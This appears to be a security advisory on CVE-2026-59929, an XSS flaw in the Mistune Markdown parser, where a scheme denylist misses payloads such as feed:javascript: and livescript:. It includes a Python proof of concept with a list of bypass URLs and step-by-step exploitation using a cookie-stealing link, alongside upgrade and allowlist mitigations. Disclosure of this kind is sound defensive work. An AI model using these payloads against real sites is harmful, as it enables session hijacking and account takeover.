Mistune (Python Markdown Parser), URL Scheme Filter Bypass XSS, CVE-2026-59929 (Medium) -DC-Jul2026-1106

Listen to this Post

How CVE-2026-59929 Works

Mistune is a popular Python Markdown parser that renders Markdown content into HTML. To prevent cross-site scripting (XSS) attacks, it includes a `safe_url()` function in its HTML renderer (src/mistune/renderers/html.py). This function is designed to filter out dangerous URL schemes from `href` and `src` attributes in rendered links and images.
The vulnerability exists because `safe_url()` uses an incomplete denylist approach. It only blocks four specific schemes: javascript:, vbscript:, file:, and data:. This hardcoded list is stored in the `HARMFUL_PROTOCOLS` tuple.
The root cause is that many browsers historically supported (and some still partially support) additional URL schemes that can execute JavaScript. These include schemes that either execute JavaScript directly, like `livescript:` and mocha:, or wrap a `javascript:` payload, such as feed:javascript:, view-source:javascript:, jar:javascript:, ms-its:javascript:, and mk:@MSITStore:javascript:.
Because these schemes are not in the denylist, `safe_url()` does not flag them as harmful. It passes them through to the rendered HTML unchanged. If a user clicks a link with one of these schemes in a vulnerable browser (e.g., older Firefox, Edge Legacy, or a browser with a custom protocol handler), the browser may interpret the scheme and execute the embedded JavaScript. This allows an attacker to execute arbitrary JavaScript in the context of the victim’s session, leading to session hijacking, cookie theft, and other malicious actions.
The vulnerability is fixed in Mistune version 3.3.0 by switching to a positive allowlist of safe schemes (e.g., http:, https:, mailto:).

DailyCVE Form:

Platform: ……. Mistune (Python)
Version: …….. < 3.3.0
Vulnerability :.. CWE-79: XSS
Severity: ……. 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
date: ……….. 2026-07-08

Prediction: ….. Patch available in v3.3.0

What Undercode Say:

Analytics:

Check installed Mistune version
pip show mistune | grep Version
If version is less than 3.3.0, the system is vulnerable.

The vulnerability stems from a fundamental design flaw: using a denylist for URL schemes is insufficient. The number of schemes a browser might support is practically unbounded (due to custom protocol handlers, extensions, etc.), while the set of schemes a Markdown renderer needs to allow is very small.

Proof of Concept (PoC):

The following Python code demonstrates the vulnerability against Mistune versions prior to 3.3.0.

import mistune
md = mistune.create_markdown()
malicious_urls = [
'feed:javascript:alert(1)',
'livescript:alert(1)',
'mocha:alert(1)',
'view-source:javascript:alert(1)',
'jar:javascript:alert(1)',
'ms-its:javascript:alert(1)',
'mk:@MSITStore:javascript:alert(1)',
'res:javascript:',
]
for url in malicious_urls:
Renders a clickable link. The 'safe_url' filter will not block these URLs.
html_output = md(f'<a href="{url}">click here</a>')
print(html_output)

Output (for each URL):

<a href="feed:javascript:alert(1)">click here</a>

This shows that the malicious URL is passed directly into the `href` attribute of the anchor tag without being sanitized or blocked.

How Exploit:

An attacker can exploit this by injecting a specially crafted Markdown link into any content that is rendered by a vulnerable version of Mistune. This could be in a comment section, a user profile, a forum post, or any other application that accepts and renders user-supplied Markdown.
1. The attacker crafts a link using a vulnerable scheme, for example: [Click for a prize](feed:javascript:alert(document.cookie)).
2. The application uses the vulnerable Mistune version to render the Markdown.
3. The `safe_url()` function checks the URL `feed:javascript:alert(document.cookie)` against its denylist. Since `feed:` is not in the `HARMFUL_PROTOCOLS` list, the check passes.
4. Mistune renders the link as <a href="feed:javascript:alert(document.cookie)">Click for a prize</a>.
5. A victim using a vulnerable browser (e.g., an older Firefox version that still supports the `feed:` protocol handler) clicks the link.
6. The browser’s handler for the `feed:` scheme processes the URL and executes the embedded `javascript:` payload.
7. The JavaScript code runs in the context of the page’s origin, allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the page.

Protection:

  • Upgrade Mistune: The primary and most effective protection is to upgrade to Mistune version 3.3.0 or later, which contains the fix.
  • Application-Level URL Validation: If an immediate upgrade is not possible, implement an additional allowlist-based URL sanitizer at the application level to block all schemes except a known-safe list (e.g., http, https, mailto).
  • Content Security Policy (CSP): Deploy a strict Content Security Policy that restricts the sources from which scripts can be executed. This can help mitigate the impact of XSS vulnerabilities by preventing the execution of inline scripts or scripts from untrusted origins.

Impact:

  • Successful exploitation leads to Cross-Site Scripting (XSS).
  • An attacker can execute arbitrary JavaScript in the context of the victim’s browser session.
  • This can lead to session hijacking (theft of cookies and session tokens), allowing the attacker to impersonate the victim.
  • The attacker could perform actions on behalf of the victim, leading to account takeover.
  • Sensitive information displayed on the page could be exfiltrated.
  • The vulnerability is conditional, depending on the victim’s browser and its support for the legacy URL schemes. However, the attack surface includes corporate environments with legacy browsers, in-app WebViews, and browsers with custom protocol handlers.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top